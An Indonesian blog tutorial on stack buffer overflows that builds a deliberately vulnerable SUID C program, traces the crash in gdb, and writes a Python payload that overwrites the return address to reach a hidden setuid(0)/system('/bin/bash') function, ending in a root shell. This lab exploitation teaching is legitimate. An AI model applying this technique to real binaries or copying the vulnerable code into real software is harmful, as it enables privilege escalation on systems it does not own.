[Reverse] Manipulasi Instruction Pointer

Hello semua!

Sesuai dengan rencana saya pada artikel sebelumnya. Saya kali ini akan fokus membahas tentang bagaimana cara kamu memanipulasi instruction pointer. Bisa dibilang bahwa artikel ini sejenis “Filer”, maksudnya artikel ini seharusnya didahulukan sebelum masuk ke tutorial shellcode injection.

Tapi oke gapapa lah ya haha

[!] Wajib mengenal dasar assembly, atau minimal telah membaca artikel saya pertama mengenai pengenalan reverse

Environment

Operating System: Ubuntu 16.04
Kernel: 4.4
Arsitektur Program: 64bit

Setup

Buka editor kesayangan kamu dan ketikkan program berikut ini

#include <stdio.h>
#include <stdlib.h>
void ohmygod() {
setuid(0);
setgid(0);
system("/bin/bash");
}
void welcome() {
char buffer[20];
printf("Masukkan nama kamu:\n");
scanf("%s", buffer);
printf("Selamat datang, %s!\n", buffer);
}
int main() {
welcome();
return 0;
}
//saya beri nama basicrop.c

Lalu jangan lupa disable ASLR dan compile dengan mode stack protector nonaktif. Shell kamu sudah harus di root

# echo 0 > /proc/sys/kernel/randomize_va_space
# gcc -fno-stack-protector -z execstack basicrop.c -o basicrop
basicrop.c: In function ‘ohmygod’:
basicrop.c:5:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
basicrop.c:6:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^

# chmod +s basicrop
# ls -lah basicrop
-rwsr-sr-x 1 root root 8,8K Jan 15 22:03 basicrop
# exit
$

Memahami alur program

Terdapat 3 fungsi / stack frame pada program ini yaitu ohmygod, welcome dan main.

Gimana caranya tau fungsi-fungsi tsb tanpa melihat source codenya?

Kita dapat menggunakan objdump untuk melihat isi dari binary file basicrop. Perintahnya seperti ini

$ objdump -d basicrop
basicrop:     file format elf64-x86-64
Disassembly of section .init:
0000000000400508 <_init>:
400508: 48 83 ec 08 sub $0x8,%rsp
40050c: 48 8b 05 e5 0a 20 00 mov 0x200ae5(%rip),%rax # 600ff8 <_DYNAMIC+0x1d0>
400513: 48 85 c0 test %rax,%rax
400516: 74 05 je 40051d <_init+0x15>
400518: e8 93 00 00 00 callq 4005b0 <setuid@plt+0x10>
40051d: 48 83 c4 08 add $0x8,%rsp
400521: c3 retq
.........
00000000004006b6 <ohmygod>:
4006b6: 55 push %rbp
4006b7: 48 89 e5 mov %rsp,%rbp
4006ba: bf 00 00 00 00 mov $0x0,%edi
4006bf: b8 00 00 00 00 mov $0x0,%eax
4006c4: e8 d7 fe ff ff callq 4005a0 <setuid@plt>
4006c9: bf 00 00 00 00 mov $0x0,%edi
4006ce: b8 00 00 00 00 mov $0x0,%eax
4006d3: e8 a8 fe ff ff callq 400580 <setgid@plt>
4006d8: bf c4 07 40 00 mov $0x4007c4,%edi
4006dd: e8 6e fe ff ff callq 400550 <system@plt>
4006e2: 90 nop
4006e3: 5d pop %rbp
4006e4: c3 retq
00000000004006e5 <welcome>:
4006e5: 55 push %rbp
4006e6: 48 89 e5 mov %rsp,%rbp
4006e9: 48 83 ec 20 sub $0x20,%rsp
4006ed: bf ce 07 40 00 mov $0x4007ce,%edi
4006f2: e8 49 fe ff ff callq 400540 <puts@plt>
4006f7: 48 8d 45 e0 lea -0x20(%rbp),%rax
4006fb: 48 89 c6 mov %rax,%rsi
4006fe: bf e2 07 40 00 mov $0x4007e2,%edi
400703: b8 00 00 00 00 mov $0x0,%eax
400708: e8 83 fe ff ff callq 400590 <__isoc99_scanf@plt>
40070d: 48 8d 45 e0 lea -0x20(%rbp),%rax
400711: 48 89 c6 mov %rax,%rsi
400714: bf e5 07 40 00 mov $0x4007e5,%edi
400719: b8 00 00 00 00 mov $0x0,%eax
40071e: e8 3d fe ff ff callq 400560 <printf@plt>
400723: 90 nop
400724: c9 leaveq
400725: c3 retq
0000000000400726 <main>:
400726: 55 push %rbp
400727: 48 89 e5 mov %rsp,%rbp
40072a: b8 00 00 00 00 mov $0x0,%eax
40072f: e8 b1 ff ff ff callq 4006e5 <welcome>
400734: b8 00 00 00 00 mov $0x0,%eax
400739: 5d pop %rbp
40073a: c3 retq
40073b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
.....

Hasilnya akan panjang dan kamu wajib membaca dari awal sampai akhir.

Lahirnya sebuah fungsi / stack frame

Kamu minimal wajib mengerti mengapa sebuah fungsi berhasil dialokasikan ke sebuah memori. Plus, saya akan membahas beberapa instruksi yang wajib kamu tahu.

push   %rbp
mov %rsp,%rbp

Deklarasi base pointer dan mengkopikan value dari base pointer ke stack pointer. Awalnya seperti pada ilustrasi dibawah

                /------------------\  
| |
|Base&Stack Pointer|
| |
\------------------/

Selanjutnya, kalau ada deklarasi array. Stack pointer akan memesan alokasi stack duluan seperti pada instruksi dibawah

sub    $0x20,%rsp

0x20 saya translate menjadi =>> 0x00100000 yaitu 32 bytes. Stack pointer memesan 32 bytes dengan cara mengurangi value dari stack pointer itu sendiri. Hal ini menyebabkan stack akan bertambah 32 bytes dan posisi stack pointer sekarang semakin atas

Ingat bahwa semakin atas stack maka semakin low memorynya
             /------------------\  lower
| Stack Pointer | memory
| | addresses
|------------------|
| Data |
| 32 Bytes
|
| |
|------------------|
| Base Pointer | higher
| | memory
\------------------/ addresses

Lalu operasi lain-lainnya silahkan dipelajari. Selanjutnya pemanggilan fungsi

callq  400590 <__isoc99_scanf@plt>

Disini ada instruksi memanggil fungsi scanf yang berada pada alamat 400590.

Verifying the Bug

Sekarang, langsung kita coba program yang telah kita buat. Jalankan saja program..

$ ./basicrop 
Masukkan nama kamu:
Habibie
Selamat datang, Habibie!

$

Selanjutnya, kita masukkan payload yang sangat panjang. Kita langsung siapkan saja pattern generator. Karena alokasi stacknya 32 bytes, mudah2an 80 bytes payload cukup

$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac" > payload
$ ./basicrop < payload
Masukkan nama kamu:
Selamat datang, Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac!
Segmentation fault (core dumped)

$

Ternyata benar program ini memiliki celah buffer overflow

Objectives

Kamu sudah baca source code program diatas? Sekarang kamu ingin mendapatkan shell dari fungsi ohmygod dengan cara mengakses langsung fungsi tersebut.

Namun, tidak ada jalan menuju fungsi ohmygod dari main. Fungsi main hanya memanggil fungsi welcome dan yasudah keluar.

Nah, sekarang misi kamu adalah memanipulasi instruction pointer sehingga kita dapat memanggil fungsi tersebut.

Setting Breakpoints

Ini menjadi sangat penting karena kamu harus tahu state sebelum dan sesudah terjadi error. Sehingga kamu bisa melihat apa yang aneh dan berharap ada informasi bagus dari perbedaan register pada kedua state tersebut.

Sekarang mari kita lihat kembali fungsi welcome pada gdb

$ gdb basicrop
(gdb) disas welcome
Dump of assembler code for function welcome:
0x00000000004006e5 <+0>: push %rbp
0x00000000004006e6 <+1>: mov %rsp,%rbp
0x00000000004006e9 <+4>: sub $0x20,%rsp
0x00000000004006ed <+8>: mov $0x4007ce,%edi
0x00000000004006f2 <+13>: callq 0x400540 <puts@plt>
0x00000000004006f7 <+18>: lea -0x20(%rbp),%rax
0x00000000004006fb <+22>: mov %rax,%rsi
0x00000000004006fe <+25>: mov $0x4007e2,%edi
0x0000000000400703 <+30>: mov $0x0,%eax
0x0000000000400708 <+35>: callq 0x400590 <__isoc99_scanf@plt>
0x000000000040070d <+40>: lea -0x20(%rbp),%rax
0x0000000000400711 <+44>: mov %rax,%rsi
0x0000000000400714 <+47>: mov $0x4007e5,%edi
0x0000000000400719 <+52>: mov $0x0,%eax
0x000000000040071e <+57>: callq 0x400560 <printf@plt>
0x0000000000400723 <+62>: nop
0x0000000000400724 <+63>: leaveq
0x0000000000400725 <+64>: retq
End of assembler dump.

(gdb)

Kalau kamu lihat kembali percobaan yang baru dilakukan, ternyata program sempat memanggil printf pada *welcome+57. Kemungkinan besar bahwa kasus ini persis sama dengan kasus sebelumnya. Dimana payload kita melakukan overwriting pada stack pointer ketika mau leave dan ret.

Apabila address stack frame berhasil dioverwrite, maka instruction pointer akan kebingungan karena address yang kita tulis kemungkinan besar tidak ada pada memory.

Berarti, kita akan melakukan breakpoint pada +57. Mudah-mudah kita bisa melihat sesuatu yang bagus disana.

(gdb) break *welcome+57
Breakpoint 1 at 0x40071e

Mencari Instruction Pointer

Sekarang yuk mari kita jalankan program

(gdb) r < payload
Starting program: /home/kucing/belajarex/basicrop < payload
Masukkan nama kamu:
Breakpoint 1, 0x000000000040071e in welcome ()
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0xa 10
rdx 0x7ffff7dd3790 140737351858064
rsi 0x7fffffffdbd0 140737488346064
rdi 0x4007e5 4196325
rbp 0x7fffffffdbf0 0x7fffffffdbf0
rsp 0x7fffffffdbd0 0x7fffffffdbd0
r8 0x0 0
r9 0x7ffff7fd2700 140737353950976
r10 0x4007e2 4196322
r11 0x246 582
r12 0x4005c0 4195776
r13 0x7fffffffdce0 140737488346336
r14 0x0 0
r15 0x0 0
rip 0x40071e 0x40071e <welcome+57>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0

Oke, sekarang kita sudah berhenti pada breakpoint 1. Belum ada tanda-tanda akan ngehang. Termasuk fungsi printf juga akan dijalankan pada mode ini. Setelah kita lihat register yang aktif, sepertinya masih normal saja.

Sekarang kita lihat 12 word pertama dari stack pointer

(gdb) x/12wx $rsp
0x7fffffffdbd0: 0x41306141 0x61413161 0x33614132 0x41346141
0x7fffffffdbe0: 0x61413561 0x37614136 0x41386141 0x62413961
0x7fffffffdbf0: 0x31624130 0x41326241 0x62413362 0x35624134

Diduga bahwa stack pointer tersebut sudah diisi oleh karakter payload kita. Mari kita cek offsetnya sekaligus memastikan memang benar payload milik kita.

$ ./pattern.py offset 0x41306141 80
hex pattern decoded as: Aa0A
0

Ya benar, masih normal karena offsetnya 0. Artinya adalah memang benar ini adalah karakter yang kita masukkan.

Sekarang coba kita step, mulai masuk ke dalam fungsi printf

(gdb) s
Single stepping until exit from function welcome,
which has no line number information.
__printf (format=0x4007e5 "Selamat datang, %s!\n") at printf.c:28
28 printf.c: No such file or directory.
(gdb) s
32 in printf.c
(gdb) x/12wx $rsp
0x7fffffffdaf0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdb00: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdb10: 0x00000000 0x00000000 0xffffdbd0 0x00007fff

Kalau kamu perhatikan baik-baik, stack pointer tiba2 naik lagi menjadi 0x7fffffffdaf0 dari 0x7fffffffdbd0 (ketika sebelum masuk printf). Berarti ada alokasi memori lagi pada fungsi printf.

Mungkinkah apabila ketika alokasi memori dilakukan dan payload dipindahkan ke memory printf, dia menabrak sesuatu antara fungsi printf dan welcome? Yah maybe who knows. Langsung saja deh continue

(gdb) c
Continuing.
Selamat datang, Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400725 in welcome ()

Oke, terjadilah error pada 0x400725 (fungsi ret) dan mari yuk kita lihat registernya

(gdb) i r
rax 0x62 98
rbx 0x0 0
rcx 0x7fffff9f 2147483551
rdx 0x7ffff7dd3780 140737351858048
rsi 0x2 2
rdi 0x1 1
rbp 0x4132624131624130 0x4132624131624130
rsp 0x7fffffffdbf8 0x7fffffffdbf8
r8 0x0 0
r9 0x62 98
r10 0x50 80
r11 0x246 582
r12 0x4005c0 4195776
r13 0x7fffffffdce0 140737488346336
r14 0x0 0
r15 0x0 0
rip 0x400725 0x400725 <welcome+64>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0

Kamu lihat nilai dari base pointer sudah berubah menjadi 4132624131624130. Sangat mungkin itu adalah payload yang sudah kita masukkan

$ ./pattern.py offset 0x4132624131624130 80
hex pattern decoded as: 0Ab1Ab2A
32

AW, ternyata memang benar bahwa stack tersebut berukuran 32 bytes. Dan ini menunjukkan bahwa kita telah mengoverwrite seluruh stack frame tersebut!. Dengan kata lain, kamu telah menghancurkan seluruh stack pointer fungsi welcome. Teganya oh teganya xD.

Tapi tentu tidak sehancur hati kamu karena di PHPin dia :p

Tuh kan mulai lagi .___.

Maap gan, sengaja biar ente ga serius2 amat :D. Oke lanjut, skema dibawah merupakan ilustrasi dari stack yang sudah kamu hancurkan

         /------------------\  lower
| Stack Pointer | memory
| <Ini kebawah> | addresses
|------------------|
| Data | |
| 32 Bytes | | Ini nulis payload sampe bawah
| | | SP tentunya juga bergerak
| <Data Input> | v
|------------------|
| Base Pointer | higher
|<SP Akhir + Data> | memory
\------------------/ addresses

Sebagai bukti, kita perlu mengetahui nilai dari stack pointer. Cekidot @ gdb

(gdb) x/12wx $rsp
0x7fffffffdbf8: 0x62413362 0x35624134 0x41366241 0x62413762
0x7fffffffdc08: 0x39624138 0x41306341 0x63413163 0x33634132
0x7fffffffdc18: 0x41346341 0x63413563 0xf7ffcc00 0x00000001

Sekarang kita ambil 6 bytes dari stack pointer tersebut, yaitu 0x413462413362 lalu cek offsetnya

$ ./pattern.py offset 0x413462413362 80
hex pattern decoded as: b3Ab4A
40

Oke, berarti jarak antara SP dan main adalah 40 bytes. Terbukti bahwa ini stack pointer kok somehow ada di bawah BP (Base Pointer). Selanjutnya, saya akan mencoba menulis address tepat setelah offset 40 bytes tadi.

from struct import *
buf = ""
buf += "A"*40
buf += pack("<Q",0x707172737475)
f = open("realpayload", "w")
f.write(buf)

Lalu jalankan program python diatas, keluar output file realpayload. Lalu, kamu jalankan gdb dan masukkan file tersebut sebagai input.

$ python basicexploit.py 
$ gdb basicrop
(gdb) r < realpayload
Starting program: /home/kucing/belajarex/basicrop < realpayload
Masukkan nama kamu:
Selamat datang, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAutsrqp!
Program received signal SIGSEGV, Segmentation fault.
0x0000707172737475 in ?? ()
(gdb)

Yap, as expected sekarang dia sedang mencari dimana alamat 0x707172737475 berada.

Mengarahkan Instruction Pointer

Nah, sekarang karena $rip sudah dalam kontrol kita. Saatnya kita mengetahui address dari stack frame milik ohmygod

(gdb) disas ohmygod
Dump of assembler code for function ohmygod:
0x00000000004006b6 <+0>: push %rbp
0x00000000004006b7 <+1>: mov %rsp,%rbp
0x00000000004006ba <+4>: mov $0x0,%edi
0x00000000004006bf <+9>: mov $0x0,%eax
0x00000000004006c4 <+14>: callq 0x4005a0 <setuid@plt>
0x00000000004006c9 <+19>: mov $0x0,%edi
0x00000000004006ce <+24>: mov $0x0,%eax
0x00000000004006d3 <+29>: callq 0x400580 <setgid@plt>
0x00000000004006d8 <+34>: mov $0x4007c4,%edi
0x00000000004006dd <+39>: callq 0x400550 <system@plt>
0x00000000004006e2 <+44>: nop
0x00000000004006e3 <+45>: pop %rbp
0x00000000004006e4 <+46>: retq
End of assembler dump.

Berarti exploit kita akan menjadi seperti ini.

from struct import *
buf = ""
buf += "A"*40
buf += pack("<Q",0x0000004006b6)
f = open("realpayload", "w")
f.write(buf)

Sekarang moment of truth, coba jalankan

$ python basicexploit.py 
$ (cat realpayload ; cat) | ./basicrop
Masukkan nama kamu:
id
Selamat datang, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@!
id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),1000(kucing)

Ooops, root shell?

python -c "import pty; pty.spawn('/bin/bash');"
root@kucing-desktop-nuc# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),1000(kucing)

HELL YEAH hahaha root shell! Selamat kalau kamu juga dapet shellnya yaa.. :D

Kok bisa root shell?

Simpel, pertama adalah kamu memanggil fungsi ohmygod yang memiliki fungsi setuid(0) dan setgid(0). Setelah itu dia memanggil system(bash) yang memungkinkan pemanggilan shell. Silahkan lihat cuplikan instruksi ini

   0x00000000004006bf <+9>: mov    $0x0,%eax   
0x00000000004006c4 <+14>: callq 0x4005a0 <setuid@plt>
0x00000000004006ce <+24>: mov $0x0,%eax
0x00000000004006d3 <+29>: callq 0x400580 <setgid@plt>
0x00000000004006dd <+39>: callq 0x400550 <system@plt>

nilai 0 didapat dari instruksi pemindahan value 0 ke %eax. Disinyalir register eax ini akan menjadi parameter dari setuid() dan setgid()

Dengan mengeset user kernel kamu menjadi 0. Artinya adalah kamu bisa menjadi root asalkan kalau kamu bisa memanggil fungsi ohmygod ini.

Tentunya dengan bantuan SUID bit yang sudah kita berikan sebelumnya

Teknik pemanggilan program

Somehow kalau kamu memanggil shell, dia akan meminta jalur input yang baru. Sekarang coba pelajari kalau saya memanggil program dengan cara standar seperti ini

$ cat realpayload | ./basicrop 
Masukkan nama kamu:
Selamat datang, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@!
Illegal instruction (core dumped)

$ ./basicrop < realpayload
Masukkan nama kamu:
Selamat datang, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@!
Illegal instruction (core dumped)

$

Nah bisa dilihat dan dirasakan bahwa ketika pemanggilan program dilakukan, sempat ada 2 detik terjadi hang sebelum pesan “Illegal Instruction”.

Hal ini dikarenakan input shell harus dari jalur input lain. Disini saya menggunakan teknik pemantulan string dengan program cat. Mari kita baca manual cat

$man cat
CAT(1) User Commands CAT(1)
NAME
cat - concatenate files and print on the standard output

See? That’s why saya memanggil cat setelah pembukaan file payload. Silahkan coba perintah berikut ini dan tulis apa saja yang kamu mau

$ (cat realpayload ; cat)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@helo
helo
saya
saya
mantulin
mantulin
string
string

Nah, bayangin kalau cat ini dipanggil persis setelah masuk payload. Sepertinya shellcode akan berjalan seperti ini

system('/bin/bash');
$ <mencari jalur input>
$ <terhubung dengan cat, waiting input>
cat whoami
$ <masuk string "whoami">
$ whoami
root

Saya tidak punya cara lain untuk mengilustrasikan hal ini. Intinya, selamat bagi kamu yang sudah berhasil memanggil fungsi ohmygod dan mengerti cara memanipulasi instruction pointer.

Epilogue

Nah, sekarang hutang saya sudah lunas. Kalau masih belum mengerti juga, boleh banget japri ke ane. Yaudah, sampai ketemu ya di artikel selanjutnya.

Stay Tuned && Bye bye..

Semoga bermanfaat! :)

Jangan lupa share artikel ini ke teman kamu yang sedang belajar hacking juga

Habibie Faried
habibiefaried@gmail.com
@habibiefaried
CISSP & OSC* Wanna Be